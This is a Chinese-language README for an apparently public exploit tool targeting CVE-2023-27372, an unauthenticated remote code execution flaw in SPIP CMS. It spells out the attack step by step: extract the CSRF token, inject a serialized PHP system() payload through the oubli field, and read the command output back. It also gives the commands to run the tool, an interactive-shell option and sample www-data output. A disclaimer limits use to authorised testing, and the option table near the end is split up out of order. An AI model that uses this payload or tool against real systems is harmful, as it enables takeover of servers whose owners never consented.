针对 CVE-2023-27372 的漏洞利用程序,这是 SPIP CMS 中一个无需认证的远程代码执行漏洞,影响 4.2.1 之前的版本。
⚠️ 仅供教育使用。 请仅对您拥有或已获得明确书面许可的系统进行测试。未经授权的使用属于违法行为。
SPIP 是一个广泛用于 Web 发布的开源 CMS。该漏洞存在于密码找回表单(/spip.php?page=spip_pass)中,其中 oubli 参数未经适当净化即被处理,允许攻击者在服务器上注入并执行任意 PHP 代码——无需任何认证。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2023-27372 |
| CVSS 评分 | 9.8(严重) |
| 攻击向量 | 网络 |
| 认证 | 无需认证 |
| 受影响版本 | SPIP < 4.2.1 |
| 漏洞类型 | 代码注入 / 未认证 RCE |
获取 CSRF 令牌 — 向 /spip.php?page=spip_pass 发送 GET 请求,从 HTML 表单中提取 formulaire_action_args 令牌。
构建载荷 — 构造一个包含待执行命令的 PHP 序列化字符串:
s:N:"<?php system('COMMAND'); ?>";
其中 N 是内部 PHP 字符串的确切字节长度。
发送载荷 — 通过 POST 请求将构造好的载荷与 CSRF 令牌一并提交到 oubli 字段。SPIP 未经净化便处理该字段并执行注入的 PHP 代码。
提取输出 — 命令输出会随 HTML 响应返回,并从 oubli 输入字段的 value 属性中解析出来。
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| 参数 | 说明 |
|---|---|
-u, --url | 目标 SPIP 实例的基础 URL |
-c, |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
预期输出:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
要检查目标的 SPIP 版本,请查看 HTML 中的 meta generator 标签:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ 免责声明
请仅将我的代码仓库中提供的信息和漏洞利用程序用于教育目的和负责任的信息披露。对于因使用这些工具、脚本或漏洞利用程序而造成的任何误用或损害,我概不负责。
--command| 要在目标上执行的系统命令 |
-s, --shell | 交互式 Shell |